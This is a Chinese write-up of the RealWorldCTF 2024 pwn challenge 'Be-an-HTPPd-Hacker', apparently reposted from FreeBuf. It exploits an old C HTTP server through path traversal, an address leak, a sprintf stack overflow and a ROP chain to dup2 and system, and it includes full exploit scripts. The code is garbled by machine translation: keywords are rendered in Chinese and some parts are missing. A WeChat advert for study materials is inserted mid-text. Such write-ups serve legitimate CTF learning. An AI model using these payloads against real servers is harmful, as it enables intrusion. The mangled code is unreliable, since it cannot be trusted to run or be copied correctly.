发布于周五 15:554天前 ## 前言 本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题——“Be-an-HTPPd-Hacker”进行深入分析和讲解。本课题涉及十一年前的一个项目,基于C语言实现HTTP协议。我们将对这个协议进行堆栈溢出攻击,探索现实世界中的攻击方法,学习更多有用的攻击技术来提高我们的安全水平。通过了解攻击原理和方法,我们可以更好地理解安全防御的重要性,为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望为读者提供深入而有价值的学习体验。 ## 搜索字符串,在github上找到源代码 使用shift+F12 从IDA 中提取以获取字符串。在github上搜索可以得到源代码: [https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c] (https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c) ## 具体结构 构造的代码如下,是方法地址加协议: ```` 方法、uri、vProtocol ```` 如`POSTwww.baidu.comxxx` 源码如下: ```` 请求parseRequest(char buffer[]) { char *ptr=缓冲区; char 方法[MAXLINE]、uri[MAXLINE]、vProtocol[MAXLINE]; 请求请求; sscanf(ptr, \'%s %s %s\', method, uri, vProtocol); //一些GET 或POST if(strcasecmp(方法,\'GET\')==0) req.method=\'GET\'; 否则if (strcasecmp(方法, \'POST\')==0) req.method=\'POST\'; 否则{ req.method=\'无效\'; req.vProtocol=\'无效\'; req.uri[0]='\\0'; 返回请求; } //未来的测试。 Por Enquanto aceita que um uri valido 请求.uri=uri; if(strcasecmp(vProtocol, \'HTTP/1.0\')==0) req.vProtocol=\'HTTP/1.0\'; 否则if (strcasecmp(vProtocol, \'HTTP/1.1\')==0) req.vProtocol=\'HTTP/1.1\'; 否则 req.vProtocol=\'HTTP/1.1\'; //特殊说明 返回请求; } ```` ## GET 路径遍历 在get请求中,经过简单的尝试和逆向工程,发现存在路径遍历,而且是直接拼接读取WWW。 ```` else if (res.status==200 ) //好的 { 返回sendFile(req, res,connfd); } ```` 阅读源码,找到上面的内容。 路径遍历漏洞是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限的文件或目录,通过修改文件路径绕过应用程序的访问控制机制。 但flag没有可读权限,只能通过readflag执行。 ```` 从邪恶之刃导入* 上下文(os='linux',arch='amd64') # context(os='linux', arch='amd64', log_level='debug') #GET /index.html HTTP/1.1 设置('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) # rsetup('121.40.246.203',30594) #暂停() 有效负载='GET' + '/img/./././etc/profile HTTP/1.0\\x00' # 有效负载=b'POST /form-example.html/./img/./././add HTTP/1.1\\r\ ' 暂停() SL(有效负载) ia() ```` 这是读取/etc/profile的路径遍历。 ## POST 堆栈溢出 其实要么是源码分析的差不多了,要么就是不太明白=的划分,就会出现奇怪的堆溢出。堆溢出主要是由于malloc的大小造成的。计算时 ```` char *line=(char*) malloc(结束-开始); ```` ,结束似乎小于开始。我们可以输入多个 使堆足够大以避免溢出。 代码可见: ```` int sendPostMessage(请求req, 响应res, int connfd, char *linePost){ 字符缓冲区[MAXLINE]; //准备cabecalho HTML sprintf(buffer, \'提交的表格\'); //Cria体 strcat(缓冲区,\'接收变量 \'); strcat(缓冲区,\'\'); 字符*pch; 字符温度[250]; pch=strtok(linePost,\'=\'); 而(pch!=NULL) { sprintf(temp, \'\', pch); strcat(缓冲区,临时); pch=strtok(NULL,\'=\'); sprintf(temp, \'\', pch); strcat(缓冲区,临时); pch=strtok(NULL,\'=\'); } //Fecha 正文e html strcat(buffer, \'VariablesValues%s%s\'); sendHeader(connfd, req, res, \'确定\', \'text/html\'); 写(connfd,缓冲区,strlen(缓冲区)); 返回0; } ```` 也就是说按照or=拆分后会和temp相连。 【----帮助您学习网络安全,免费获取以下全部学习资料!添加vx:dctintin,注释“freebuf”即可获取! 】 ① 网络安全学习与成长路径思维导图 ② 60+经典网络安全工具包 ③ 100+SRC漏洞分析报告 ④ 150+实用网络安全攻防技术电子书 ⑤ 最权威的CISSP认证考试指南+题库 ⑥ 超过1800页的CTF实用技巧手册 ⑦ 各大网络安全公司最新面试题合集(含答案) ⑧ APP客户端安全检测指南(Android+IOS) 行柱如下: ```` 无效httpd(int connfd){ 字符缓冲区[MAXLINE]; //缓冲区输入 字符文件缓冲区[MAXLINE]; 请求请求; //为客户做足疗 响应资源; //回复仆人 结构体统计st; 整数n; int 大小内容=-1; //Le oque está vindo no socket n=读取(connfd, 缓冲区, MAXLINE); int i=strlen(缓冲区); 字符选项[MAXLINE]; int 状态读取=0; strcpy(选项,缓冲区); while(状态读取==0) { if((选项[i-3]=='\ ' 选项[i-1]=='\ ') ||选项[i-1] !='\ ') { 状态读取=1; } 否则 { n=read(connfd, 选项, MAXLINE); //strcat(缓冲区,选项); //printf(\'%s\ \',缓冲区); i=strlen(选项); if(选项[0]=='\\r' 选项[1]=='\ ' n==2) 状态读取=1; } } //解析需求 请求=parseRequest(缓冲区); 字符*linePost; //遇到没有缓冲区的情况 if(strcmp(req.method, \'POST\')==0) { linePost=getLastLineRead(缓冲区); } //… ```` ```` char *getLastLineRead(char *buffer) { int 行数=0; int 开始=0; 整数结束=0; int bufSize=strlen(缓冲区); 整数i=0; 整数j=0; 对于(i=0;i\') 堆栈=u32(rv(4)) dx(堆栈) ld=u32(rv(4))-0xc0c dx(LD) libc=u32(rv(4))-2324400 dx(libc) ia() ```` 泄漏得到: ```` ---------------- 你的堆栈是0xff9c9f0a ---------------- ---------------- 你的ld 是0xedf40000 ---------------- ---------------- 你的libc是0xedcca000 ---------------- ```` ## 构造ROP 从这部分我们可以发现,原来的内容会按照=进行划分,然后添加一个这样的字符串,使得字符串长度变大,导致堆栈溢出。然后我们根据之前获得的基地址和这个部分漏洞进行ROP构建,得到shell。 ```` 字符*pch; 字符温度[250]; pch=strtok(linePost,\'=\'); 而(pch!=NULL) { sprintf(temp, \'%s\', pch); strcat(缓冲区,临时); pch=strtok(NULL,\'=\'); sprintf(temp, \'%s\', pch); strcat(缓冲区,临时); pch=strtok(NULL,\'=\'); } ```` 进行如下构造,经过多次尝试,终于得到了控制返回地址为xxxx: ```` 从邪恶之刃导入* 上下文(os='linux',arch='amd64') 设置('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) 有效负载=b'POST '+ b'A='*1850 #测试=循环(0x700).decode() #modified_test=''.join(['=' if (i) % 5==0 else test[i] for i in range(len(test))]) #d(修改后的测试) 有效负载=b'POST /A\ '+ b\'A\'*2400 + b\'\ \' 有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\' 有效负载+=b\'=\' + p32(0xeb029050)*10+ b\'xxxx\' + b\'=\' d(有效载荷) dpx('len',len(有效负载)) 暂停() SD(有效负载) ```` 其中xxxx是任意地址,可以退回! 由于sprintf,\x00而无法输入 作为一个rop,我使用加法和减法来绕过它。首先输入不包含0和0a的字符,然后根据加减法恢复出我们需要的字符。 搜索包括: ```` pwndbg搜索-40x11111111 搜索value: b'\\x11\\x11\\x11\\x11' libc.so.60xf0ca28f40x11111111 libc.so.60xf0ca2a080x11111111 libc.so.60xf0ca2a0c0x11111111 计算: λ~/python Linux 上的Python 3.11.6(主要,2023 年11 月14 日,09:36:21)[GCC 13.2.1 20230801] 输入“帮助”、“版权”、“制作人员名单”或“许可证”以获取更多信息。 十六进制(0xf0ca28f4 -0xf0af1000) '0x1b18f4'#这是libc偏移量 十六进制(0x100000000-0x11111111) ‘0xeeeeeeef’ ```` 然后我们使用上面的差值计算,其中0x11111111+0xeeeeeeef之和等于0。 构建的ROP如下: ```` Push_esi=p32(libc+0x00061c0d) # 推送esi;雷特 nop_ret=p32(libc+0x0002fce8) # nop;雷特 读取=p32(symoff(\'读取\',libc)) pop_ebx=p32(0x0002c01f+libc) # 弹出ebx;雷特 add_ebx=p32(0x001959c2 +libc)# 添加ebx, eax;添加eax, 2;转) pop_eax=p32(libc+0x0002ed92)#: 弹出eax ;转) add_ecx=p32(libc+0x000b4fd3) # : 添加ecx, dword ptr [ebx +0x5f082444] ;转) #dup2($ebx,$ecx) rop=pop_esi + dup22 rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop +=pop_ecx_eax + p32(0xeeeeeeef)*2 rop +=add_ecx #$ecx=0 rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop +=add_ebx #$ebx=4 罗普+=push_esi rop +=pop_esi + dup22 rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop +=pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop +=add_ecx #$ecx=1 rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop +=add_ebx #$ebx=4 罗普+=push_esi rop +=p32(symoff(\'system\',libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) 如果rop 中的b\'=\' 或rop: 中的b\'\\x00\' print(\'停下来!\') 暂停() 有效负载=b'POST'+ b\'A\'*2400 + b\'\ \' 有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\' 有效负载+=b\'=\' + (nop_ret)*10 有效载荷+=罗普 负载+=b\'=\' ```` 完整的exp如下: ```` 从邪恶之刃导入* 上下文(os='linux',arch='amd64') 设置('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) 有效负载=b'POST'+ b'A'*3982 + b'\ ' SL(有效负载) ru(\'值\') 堆栈=u32(rv(4))-0x1ed0a dx(堆栈) ld=u32(rv(4))-0xc0c dx(LD) libc=u32(rv(4))-2324400 dx(libc) 关闭() rsetup('127.0.0.1',33333) 有效负载=b'POST '+ b'A='*1850 #测试=循环(0x700).decode() #modified_test=''.join(['=' if (i) % 5==0 else test[i] for i in range(len(test))]) #d(修改后的测试) sub_eax_ecx=p32(libc +0x0018b0f8) # 子eax, ecx;雷特 Push_eax=p32(libc +0x00036a7d) # 推送eax;雷特 pop_ecx_eax=p32(libc +0x001280f4) # 弹出ecx;弹出eax;雷特 dup22=p32(symoff(\'dup2\',libc)+0xe) Push_edx=p32(libc+0x00192ac8) # 推送edx;雷特 pop_edx=p32(libc+0x00037375) # 弹出edx;雷特 pop_esi=p32(libc+0x00021479) # 弹出esi;雷特 Push_esi=p32(libc+0x00061c0d) # 推送esi;雷特 nop_ret=p32(libc+0x0002fce8) # nop;雷特 读取=p32(symoff(\'读取\',libc)) pop_ebx=p32(0x0002c01f+libc) # 弹出ebx;雷特 add_ebx=p32(0x001959c2 +libc)# 添加ebx, eax;添加eax, 2;转) pop_eax=p32(libc+0x0002ed92)#: 弹出eax ;转) add_ecx=p32(libc+0x000b4fd3) # : 添加ecx, dword ptr [ebx +0x5f082444] ;转) #dup2($ebx,$ecx) rop=pop_esi + dup22 rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop +=pop_ecx_eax + p32(0xeeeeeeef)*2 rop +=add_ecx #$ecx=0 rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop +=add_ebx #$ebx=4 罗普+=push_esi rop +=pop_esi + dup22 rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop +=pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop +=add_ecx #$ecx=1 rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop +=add_ebx #$ebx=4 罗普+=push_esi rop +=p32(symoff(\'system\',libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) 如果rop 中的b\'=\' 或rop: 中的b\'\\x00\' print(\'停下来!\') 暂停() 有效负载=b'POST'+ b\'A\'*2400 + b\'\ \' 有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\' 有效负载+=b\'=\' + (nop_ret)*10 有效载荷+=罗普 负载+=b\'=\' d(有效载荷) dpx('len',len(有效负载)) dpx(\'开始\',uu64(pop_esi)) dpx(\'nop\',uu64(nop_ret)) dx(堆栈) 暂停() SD(有效负载) ia() ```` 攻击结果: ```` 转载自freebuf:[https://www.freebuf.com/defense/392232.html](https://www.freebuf.com/defense/392232.html) 作者:蚁视科技 ````
创建帐户或登录后发表意见